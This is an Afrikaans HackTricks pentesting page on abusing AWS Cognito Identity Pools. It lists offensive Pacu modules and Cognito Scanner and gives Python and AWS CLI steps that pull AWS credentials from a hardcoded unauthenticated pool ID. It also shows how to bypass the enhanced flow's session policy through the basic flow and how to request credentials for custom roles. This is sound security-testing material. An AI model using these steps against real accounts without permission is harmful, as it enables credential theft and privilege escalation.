Cognito Identity Pools

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Identiteit damme speel 'n belangrike rol deur jou gebruikers in staat te stel om tydelike geloofsbriewe te verkry. Hierdie geloofsbriewe is noodsaaklik vir toegang tot verskeie AWS-diens, insluitend maar nie beperk tot Amazon S3 en DynamoDB. 'n Noemenswaardige kenmerk van identiteit damme is hul ondersteuning vir beide anonieme gasgebruikers en 'n verskeidenheid identiteitsverskaffers vir gebruikersverifikasie. Die ondersteunde identiteitsverskaffers sluit in:

  • Amazon Cognito-gebruikersdamme

  • Sosiale aanmeldingsopsies soos Facebook, Google, Aanmelding by Amazon en Aanmelding met Apple

  • Verskaffers wat voldoen aan OpenID Connect (OIDC)

  • SAML (Security Assertion Markup Language) identiteitsverskaffers

  • Ontwikkelaar-geverifieerde identiteite

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Om Identiteit Pool-sessies te genereer, moet jy eers 'n Identiteit ID genereer. Hierdie Identiteit ID is die identifikasie van die sessie van daardie gebruiker. Hierdie identifikasies kan tot 20 datasets hê wat tot 1MB sleutel-waarde pare kan stoor.

Dit is nuttig om inligting van 'n gebruiker te behou (wat altyd dieselfde Identiteit ID sal gebruik).

Verder is die diens cognito-sync die diens wat dit moontlik maak om hierdie inligting te bestuur en te sinchroniseer (in die datasets, deur inligting in strome en SNS-boodskappe te stuur...).

Gereedskap vir pentesting

  • Pacu, die AWS-uitbuitingsraamwerk, sluit nou die "cognito__enum" en "cognito__attack" modules in wat outomatiese opsporing van alle Cognito-bates in 'n rekening en swak konfigurasies, gebruikerskenmerke wat vir toegangsbeheer gebruik word, ens., en ook outomatiese gebruikerskeuring (insluitend MFA-ondersteuning) en voorregverhoging gebaseer op veranderbare aangepaste kenmerke, bruikbare identiteit pool-legitimasie, aanneembare rolle in id tokens, ens.

Vir 'n beskrywing van die modules se funksies, sien deel 2 van die blogpos. Vir installasie-instruksies, sien die hoof Pacu bladsy.

Gebruik

Voorbeeld cognito__attack gebruik om gebruikerskeuring en alle voorregverhogingsvektore teen 'n gegewe identiteit pool en gebruikerspoolklient te probeer:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Voorbeeld cognito__enum gebruik om alle gebruikerspools, gebruikerspoolclients, identiteitspools, gebruikers, ens. te verzamelen wat sigbaar is in die huidige AWS-rekening:

cognito__enum

Dit sal alle relevante inligting oor gebruikerspools, gebruikerspoolclients, identiteitspools en gebruikers in die huidige AWS-rekening versamel.

Pacu (new:test) > run cognito__enum
  • Cognito Scanner is 'n CLI-werktuig in Python wat verskillende aanvalle op Cognito implementeer, insluitend ongewenste rekening-skepping en identiteitspoel-escalasie.

Installasie

$ pip install cognito-scanner

Gebruik

$ cognito-scanner --help

Vir meer inligting, besoek https://github.com/padok-team/cognito-scanner

Toegang tot IAM-rolle

Ongeverifieerd

Die enigste ding wat 'n aanvaller moet weet om AWS-legitimasie in 'n Cognito-toepassing as 'n ongeverifieerde gebruiker te kry, is die Identity Pool ID, en hierdie ID moet hardgekodder wees in die web-/mobiele toepassing sodat dit dit kan gebruik. 'n ID lyk soos hierdie: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (dit kan nie met bruteforce gekraak word nie).

Die IAM Cognito ongeverifieerde rol wat deur die is geskep, word standaard Cognito_<Identity Pool-naam>Unauth_Role genoem

As jy 'n hardgekodde Identity Pool ID vind en dit ongeverifieerde gebruikers toelaat, kan jy AWS-legitimasie kry met:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

Of jy kan die volgende aws cli-opdragte gebruik:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Let daarop dat 'n ongeverifieerde cognito-gebruiker standaard geen toestemming kan hê nie, selfs as dit toegewys is deur middel van 'n beleid. Kontroleer die volgende afdeling.

Enhanced vs Basic Authentication flow

Die vorige afdeling het die standaard verbeterde verifikasievloei gevolg. Hierdie vloei stel 'n beperkende sessiebeleid in vir die gegenereerde IAM-rolsessie. Hierdie beleid sal slegs die sessie toelaat om die dienste van hierdie lys te gebruik (selfs as die rol toegang tot ander dienste gehad het).

Daar is egter 'n manier om dit te omseil, as die Identity-pool "Basiese (Klassieke) Vloei" geaktiveer het, sal die gebruiker 'n sessie kan verkry deur daardie vloei te gebruik wat nie daardie beperkende sessiebeleid sal hê nie.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

As jy hierdie fout ontvang, is dit omdat die basiese vloei nie geaktiveer is (verstek) nie

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Met 'n stel IAM-legitimasie moet jy ondersoek instel watter toegang jy het en probeer voorregte verhoog.

Geauthentiseer

Onthou dat geauthentiseerde gebruikers waarskynlik verskillende toestemmings sal hê, so as jy binne die app kan registreer, probeer dit en kry die nuwe legitimasie.

Daar kan ook rolle beskikbaar wees vir geauthentiseerde gebruikers wat die Identiteitspoel benader.

Hiervoor mag jy toegang tot die identiteitsverskaffer nodig hê. As dit 'n Cognito-gebruikerspoel is, kan jy dalk die verstekgedrag misbruik en self 'n nuwe gebruiker skep.

Die IAM Cognito-geauthentiseerde rol wat deur die volgende voorbeeld geskep is, word standaard Cognito_<Identity Pool name>Auth_Role genoem.

In elk geval verwag die volgende voorbeeld dat jy reeds ingeteken het in 'n Cognito-gebruikerspoel wat gebruik word om toegang tot die Identiteitspoel te verkry (moenie vergeet dat ander tipes identiteitsverskaffers ook gekonfigureer kan word nie).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Kry die identity_id van die vorige opdrag se respons
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>


# In die IdToken kan jy rolle vind waartoe 'n gebruiker toegang het as gevolg van Gebruikerspoelgroepe
# Gebruik die --custom-role-arn om legitimasie vir 'n spesifieke rol te kry
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Dit is moontlik om verskillende IAM-rolle te konfigureer, afhangende van die identiteitsverskaffer waardeur die gebruiker aangemeld word, of selfs net afhangende van die gebruiker (deur middel van bewerings). Daarom, as jy toegang het tot verskillende gebruikers deur dieselfde of verskillende verskaffers, mag dit die moeite werd wees om in te teken en die IAM-rolle van almal te ondersoek.

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated